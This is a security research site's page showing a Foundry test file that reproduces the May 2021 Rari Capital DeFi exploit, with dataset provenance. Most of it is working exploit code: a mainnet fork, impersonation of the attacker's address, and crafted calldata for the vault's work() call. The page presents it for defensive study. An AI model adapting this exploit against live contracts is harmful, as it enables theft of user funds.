Skip to content
THREATWIRE

Public reproduction file

src/test/2021-05/RariCapital_exp.sol

Public reproduction file for dataset entry RariCapital.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-05/RariCapital_exp.sol44 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7/*
8 Attack tx: https://etherscan.com/tx/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be
9 Tenderly.co: https://dashboard.tenderly.co/tx/mainnet/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be/
10 Debug transaction: https://phalcon.blocksec.com/tx/eth/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be
12 run: forge test --contracts ./src/test/RariCapital_exp.sol -vvv */
13interface Bank {
14 function work(uint256 id, address goblin, uint256 loan, uint256 maxReturn, bytes calldata data) external payable;
17contract ContractTest is Test {
18 Bank vault = Bank(0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A);
19 IERC20 fakeToken = IERC20(payable(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46));
20 address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
21 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
23 function setUp() public {
24 cheats.createSelectFork("mainnet", 12_394_009); //fork bsc at block 12394009
25 }
27 function testExploit() public {
28 emit log_named_decimal_uint("[Start] ETH Balance of attacker", attacker.balance, 18);
30 bytes memory data =
31 hex"00000000000000000000000081796c4602b82054a727527cd16119807b8c7608000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000600000000000000000000000002f755e8980f0c2e81681d82cccd1a4bd5b4d5d4600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
33 cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
34 (bool success, bytes memory result) = address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).call{
35 value: 1_031_000_000_000_000_000_000
36 }(abi.encodeWithSignature("donate()"));
38 vault.work{value: 100_000_000}(
39 0, 0x9EED7274Ea4b614ACC217e46727d377f7e6F9b24, 0, 100_000_000_000_000_000_000_000, data
40 );
42 emit log_named_decimal_uint("[End] ETH Balance of attacker", attacker.balance, 18);
43 }

Analysis

Dataset entry

Public Foundry test for “RariCapital” (2021-05-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
RariCapital
Path
src/test/2021-05/RariCapital_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1b80b76074dc89a646907236540c3f546f373e90
Language
Solidity
Size
45 lines
Date
2021-05-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2021-05/RariCapital_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1b80b76074dc89a646907236540c3f546f373e90, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.